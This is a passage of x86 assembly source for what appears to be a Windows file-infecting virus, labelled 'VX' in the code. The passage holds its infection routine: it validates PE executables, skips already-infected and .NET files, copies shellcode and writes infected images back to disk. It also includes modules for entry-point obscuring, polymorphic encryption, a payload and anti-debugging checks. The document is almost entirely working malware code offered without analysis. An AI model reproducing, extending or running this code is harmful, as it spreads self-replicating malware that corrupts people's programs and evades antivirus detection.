1114 ;[ABSOLUTE PATH] 16 (pool)
1115 ;[original size] 12
1116 ;[original pool] 8 (pool)
1117 ;[infected size] 4
1118 ;[infected pool] 0 (pool)
1119 ; Concatenate absolute path to target program
1120 ;mov edi, [esp + 8] ; win32_find_data
1121 ;add edi, 44 ; win32_find_data.cFileName
1122 ;mov esi, [esp + 12] ; curr_dir
1123 ;call CreateFullPath
1124 push eax ; SAVE Absolute Path -> Pool
1125 sub esp, 24 ; Reserve space on stack
1126 mov [esp + 16], eax
1127
1128 ; Open File in Memory
1129 mov edi, eax
1130 call OpenExe
1131 cmp eax, 0 ; eax == image base; ebx = image size
1132 je _OpenExeFailed
1133 mov [esp + 12], ebx ; SAVE FileSize
1134 mov [esp + 8], eax ; SAVE FilePool
1135
1136 ; Verify 'MZ'
1137 mov eax, [esp + 8]
1138 cmp WORD PTR [eax], 'ZM'
1139 jne _FileNotPE
1140
1141 ; Verify 'PE'
1142 mov ebx, eax
1143 assume ebx:ptr IMAGE_DOS_HEADER
1144 mov DWORD PTR eax, [ebx].e_lfanew
1145 assume ebx:nothing
1146 add ebx, eax
1147 xor eax, eax
1148 mov WORD PTR ax, [ebx]
1149 cmp WORD PTR ax, 'EP'
1150 jne _FileNotPE
1151
1152 ; Verify binary subsystem
1153 nop
1154 assume ebx:ptr IMAGE_OPTIONAL_HEADERS
1155 lea eax, [ebx + 05ch] ; IMAGE_OPTIONAL_HEADER->Subsystem
1156 mov WORD PTR ax, [eax]
1157 and eax, 0000ffffh
1158 cmp DWORD PTR eax, 2
1159 je _InfectValidSubsystem
1160 cmp DWORD PTR eax, 3
1161 je _InfectValidSubsystem
1162 ; Invalid Subsystem
1163 jmp _InvalidSubsystem
1164
1165_InfectValidSubsystem:
1166 ; Is there a suitable .text segment?
1167 nop
1168 mov ebx, [esp + 8] ; Load 'MZ' Header
1169 assume ebx:ptr IMAGE_DOS_HEADER
1170 mov DWORD PTR eax, [ebx].e_lfanew
1171 assume ebx:nothing
1172 add ebx, eax
1173 add ebx, 0f8h ; Move to first IMAGE_SECTION_HEADER
1174 sub ebx, SIZEOF IMAGE_SECTION_HEADER
1175@InfectLocateExecSegL0:
1176 add ebx, SIZEOF IMAGE_SECTION_HEADER
1177 mov DWORD PTR eax, [ebx] ; Move 4 chars of section name to eax
1178 cmp DWORD PTR eax, 0 ; Is eax zero?
1179 je _PackedFile
1180 cmp DWORD PTR eax, 07865742eh ; ".tex"
1181 jne @InfectLocateExecSegL0
1182 assume ebx:nothing
1183
1184 ; Is this a .NET Executable? Also check for existing IAT
1185 mov eax, [esp + 8]
1186 call DetectDotNetBinary
1187 ; eax[1] = .NET TRUE
1188 ; eax[0] = .NET FALSE
1189 ; eax[2] = NO IAT
1190 .mmx ; Initialize MMX registers
1191 pxor mm7, mm7
1192 movd mm7, eax ; mm7 == 1 if .NET, pass to EPO
1193 cmp eax, 1
1194 je _InfectDotNetExec
1195 cmp eax, 2
1196 je _InfectNoIAT
1197
1198
1199 ; IsFileInfected?
1200 nop
1201 mov ebx, [esp + 8]
1202 xor eax, eax
1203 mov WORD PTR ax, [ebx + 0eh] ; IMAGE_DOS_HEADER->e_ss
1204 cmp WORD PTR ax, 0ffeeh ; 0xffee signature
1205 je _FileAlreadyInfected
1206
1207 ; Allocate Memory and Copy Shellcode to new Pool
1208 mov eax, [ebp - 72] ; Shelcode Base Address (Dat
1209 xor ebx, ebx
1210 mov BYTE PTR bl, [eax]
1211 cmp bl, 47h ; Zero Byte should be "G"
1212 jne _InfectExit ; Fix!!
1213 call _CopyShellcodeToPool ; Replicate
1214 mov [esp + 20], eax ; SAVE shellc:size
1215 mov [esp + 24], ecx ; SAVE shellc:pool
1216
1217 ; Get total size of infected pool
1218 mov eax, [esp + 12] ; Original Size
1219 add eax, ecx ; Shellcode Size
1220 add eax, 10000 ; Abundant space for shellcode + alignment padding
1221 xchg eax, ebx
1222 call AllocateMemory
1223 mov [esp], eax ; SAVE New Pool
1224 mov [esp + 4], ebx ; SAVE New Size
1225 mov ebx, [esp + 24] ; Shellcode Size
1226 cmp ebx, 1000h ; Shellcode > 1000h, crash (Alignment Issue)
1227 ;jg _ImageTooBig
1228
1229 ; Allocate Memory for Shellcode_Only Pool ; Poly engine
1230 mov ebx, [esp + 24] ; Shellcode Size
1231 add ebx, 1000 ; Plenty of working memory
1232 call AllocateMemory
1233 mov [ebp - 92], eax ; Commit to stack
1234
1235 ; Move eax to mm0
1236 nop
1237 ;.mmx ; .mmx directive
1238 pxor mm0, mm0 ; zero mm0
1239 movd mm0, eax ; exit to FPU mode in generate.asm
1240
1241 ; ! This routine will generate the infected image ! ;
1242 ; EPO + EJCE + Poly + Encryptors are called here
1243
1244 ; GENERATE IMAGE
1245
1246 ; shellc size eax
1247 ; shellc pool ebx
1248 ; original size ecx
1249 ; original pool edx
1250 ; infected size edi
1251 ; infected pool esi
1252 mov eax, [esp + 24]
1253 mov ebx, [esp + 20]
1254 mov ecx, [esp + 12]
1255 mov edx, [esp + 8]
1256 mov edi, [esp + 4]
1257 mov esi, [esp]
1258 call GenerateImage
1259
1260 ; Check if any engine failed during image generator
1261 cmp DWORD PTR eax, 0ffffffffh
1262 je _InfectEPOFailure
1263
1264 mov [esp + 4], eax ; Update Infected Size
1265
1266 ; Free Shellcode Pool
1267 xchg eax, esi
1268 call FreeMemory
1269
1270_RenderFile:
1271 ; Write pool to hdd
1272 mov eax, [esp + 16] ; eax = Absolute Path
1273 mov ebx, [esp + 4] ; ebx = Size
1274 mov esi, [esp] ; esi = Image Base
1275 call WriteExe
1276 cmp eax, 0
1277 je _WriteExeFailed
1278 mov eax, [esp]
1279 call FreeMemory ; Free Infected Pool
1280 mov eax, [esp + 8]
1281 call FreeMemory ; Free Original Pool
1282 mov eax, [esp + 24]
1283 call FreeMemory ; Free SC Pool
1284 mov ebx, [ebp - 16] ; Path To File (DEBUG)
1285 xor eax, eax
1286 inc eax ; 1 == Success
1287 mov ebx, [esp + 16]
1288 jmp _InfectExit
1289
1290_FileAlreadyInfected:
1291 ; Release Absolute Path and Original Pool
1292 nop
1293 mov eax, [esp + 8]
1294 call FreeMemory
1295 mov eax, [esp + 24]
1296 ;call FreeMemory ; Free SC Pool
1297 mov eax, 0fefefefeh ; File Already Infected
1298 mov edx, [esp + 16] ; Path To File (DEBUG)
1299 jmp _InfectExit
1300
1301_WriteExeFailed:
1302 mov eax, [esp]
1303 call FreeMemory ; Free Infected Pool
1304 mov eax, [esp + 8]
1305 call FreeMemory ; Free Original Pool
1306 mov eax, [esp + 24]
1307 mov ebx, eax
1308 call FreeMemory ; Free SC Pool
1309 xor eax, eax
1310 mov ebx, [esp + 16]
1311 jmp _InfectExit
1312
1313_OpenExeFailed:
1314 mov eax, [esp + 24]
1315 call FreeMemory ; Free SC Pool ; Free Absolute Path Pool
1316 ;mov eax, [esp]
1317 ;cmp eax, 0
1318 ;jne _InfectExit
1319 mov eax, 0000ffffh
1320 mov ebx, [esp + 16]
1321 jmp _InfectExit
1322
1323_InfectNoIAT:
1324 mov eax, [esp + 8] ; Original Pool
1325 call FreeMemory
1326 mov eax, [esp + 24]
1327 call FreeMemory ; Free SC Pool
1328 mov eax, 0ddddddddh
1329 mov ebx, [esp + 16]
1330 nop
1331 jmp _InfectExit
1332
1333_InvalidSubsystem:
1334 ; Release Absolute Path and Original Pool
1335 mov eax, [esp + 8] ; Original Pool
1336 call FreeMemory
1337 mov eax, [esp + 24]
1338 ;call FreeMemory ; Free SC Pool
1339 mov eax, 0AAAAAAAAh ; File Already Infected
1340 mov ebx, [esp + 24] ; Path To File (DEBUG)
1341 jmp _InfectExit
1342
1343_FileNotPE:
1344 ; Release Absolute Path and Original Pool
1345 mov eax, [esp + 8] ; Original Pool
1346 call FreeMemory
1347 mov eax, [esp + 24]
1348 ;call FreeMemory ; Free SC Pool
1349 mov eax, 0ababababh ; File Already Infected
1350 mov ebx, [esp + 24] ; Path To File (DEBUG)
1351 jmp _InfectExit
1352
1353_PackedFile:
1354 ; Release Absolute Path and Original Pool
1355 mov eax, [esp + 8] ; Original Pool
1356 call FreeMemory
1357 mov eax, [esp + 24]
1358 ;call FreeMemory ; Free SC Pool
1359 mov eax, 0ffffaaaah ; File Already Infected
1360 mov ebx, [esp + 16] ; Path To File (DEBUG)
1361 nop
1362 jmp _InfectExit
1363
1364_InfectDotNetExec:
1365 mov eax, [esp + 8] ; Original Pool
1366 call FreeMemory
1367 mov eax, [esp + 24]
1368 ;call FreeMemory ; Free SC Pool
1369 mov eax, 0cccccccch
1370 mov ebx, [esp + 16]
1371 nop
1372 jmp _InfectExit
1373
1374_InfectEPOFailure: ; 0xff25 jump sequence mangled in .NET module
1375 ; Release Absolute Path and Original Pool
1376 mov eax, [esp + 8] ; Original Pool
1377 call FreeMemory
1378 mov eax, [esp + 24]
1379 call FreeMemory ; Free SC Pool
1380 mov DWORD PTR eax, 50005000h ; Failure return value
1381 jmp _InfectExit
1382
1383
1384_InfectExit:
1385 ; Install BP
1386 ;call GenLog
1387
1388
1389
1390 ; Error code returned in eax
1391 ; /!\ ; INSTALL BREAKPOINT TO CONTROL INFECTION ROUTINE ; /!\ ;
1392
1393 INFECTOR_PAUSE_ROUTINE
1394
1395 ; /!\ ; INSTALL BREAKPOINT TO CONTROL INFECTION ROUTINE ; /!\ ;
1396
1397 nop
1398 nop
1399 nop
1400 nop
1401
1402 ; Clean Absolute Path Pool
1403 ;mov eax, [esp + 16]
1404 ;call FreeMemory
1405
1406 ; Sleep for 500 ms
1407 mov eax, [ebp - 84] ; Sleep()
1408 push 50 ; 2 Seconds
1409 call eax
1410
1411 ; Return to Directory Enumerator
1412 add esp, 28
1413 ret
1414 byte "E"
1415 byte "X"
1416 byte "I"
1417 byte "T"
1418
1419_ImageTooBig:
1420 xor eax, eax
1421 nop
1422 int 3
1423 int 3
1424 int 3
1425 int 3
1426;==============================================================================;
1427
1428
1429 ;xxx;
1430
1431
1432; Install Payload ;============================================================;
1433;=================; ;
1434; ;
1435;==============================================================================;
1436; ;
1437 include payload.asm ;
1438; ;
1439;==============================================================================;
1440
1441
1442 ;xxx;
1443
1444
1445; Generate Image ;=============================================================;
1446;================; ;
1447; ;
1448; (Parameters) ;
1449; [Value] [Register] ;
1450;==============================================================================;
1451; Shellcode Size eax ;
1452; Shellcode Pool Address ebx ;
1453; Original Image Size ecx ;
1454; Original Pool Address edx ;
1455; Infected Pool Size edi ;
1456; Infected Pool Address esi ;
1457;==============================================================================;
1458; ;
1459 include generate.asm ;
1460; ;
1461;==============================================================================;
1462
1463
1464 ;xxx;
1465
1466
1467; RANG32 ;=====================================================================;
1468;========; ;
1469; Random Numbers Generator by Pr0m1x ;
1470; ;
1471;==============================================================================;
1472; ;
1473 include rang32.asm ;
1474; ;
1475;==============================================================================;
1476
1477
1478 ;xxx;
1479
1480
1481; EPO Engine ;=================================================================;
1482;============; ;
1483; ;
1484; [!] Called from generate.asm ;
1485; ;
1486;==============================================================================;
1487; ;
1488 include epo.asm ;
1489; ;
1490;==============================================================================;
1491
1492
1493 ;xxx;
1494
1495
1496; Phase One XOR ;==============================================================;
1497;===============; ;
1498; ;
1499; [!] Called from epo.asm as a module to EJCE ;
1500; ;
1501;==============================================================================;
1502; ;
1503 include phase_one.asm ;
1504; ;
1505;==============================================================================;
1506
1507
1508 ;xxx;
1509
1510
1511; Simple Polymorphic Engine (SPM) ;============================================;
1512;=================================; ;
1513; ;
1514; [!] Called from generate.asm ;
1515; ;
1516;==============================================================================;
1517; ;
1518 include spm.asm ;
1519; ;
1520;==============================================================================;
1521
1522
1523 ;xxx;
1524
1525
1526; Polymorphic Encryption ;=====================================================;
1527;========================; ;
1528; ;
1529; [!] Called from generate.asm ;
1530; ;
1531;==============================================================================;
1532; Polymorphic Signature ;
1533_PolySig: ;
1534 byte 'P' ;
1535 byte 'O' ;
1536 byte 'L' ;
1537 byte 'Y' ;
1538;==============================================================================;
1539; ;
1540 include poly.asm ;
1541; ;
1542;==============================================================================;
1543
1544
1545 ;xxx;
1546
1547
1548; Deterence ;==================================================================;
1549;===========; ;
1550; ;
1551; FUNCTION_NAME PURPOSE ;
1552; _IsDebugged + PEB:0x02 for "IsDebugged" Flag ;
1553; _NtGlobalFlags + PEB:0x68 for "NtGlobalFlags" ;
1554; ;
1555;==============================================================================;
1556; ;
1557 include deter.asm ;
1558; ;
1559;==============================================================================;
1560
1561
1562 ;xxx;
1563
1564
1565; Signature ;==================================================================;
1566;===========; ;
1567; ;
1568; Pad with 8 bytes NULL and 4 bytes Signature ;
1569pad1 db 4 DUP (0) ;
1570 ;
1571_ShellcodeLimit: ;
1572 byte 'L' ;
1573 byte 'A' ;
1574 byte 'M' ;
1575 byte 'E' ;
1576;==============================================================================;
1577
1578; End VX
1579end start
1580
1581
1582 ;EOF;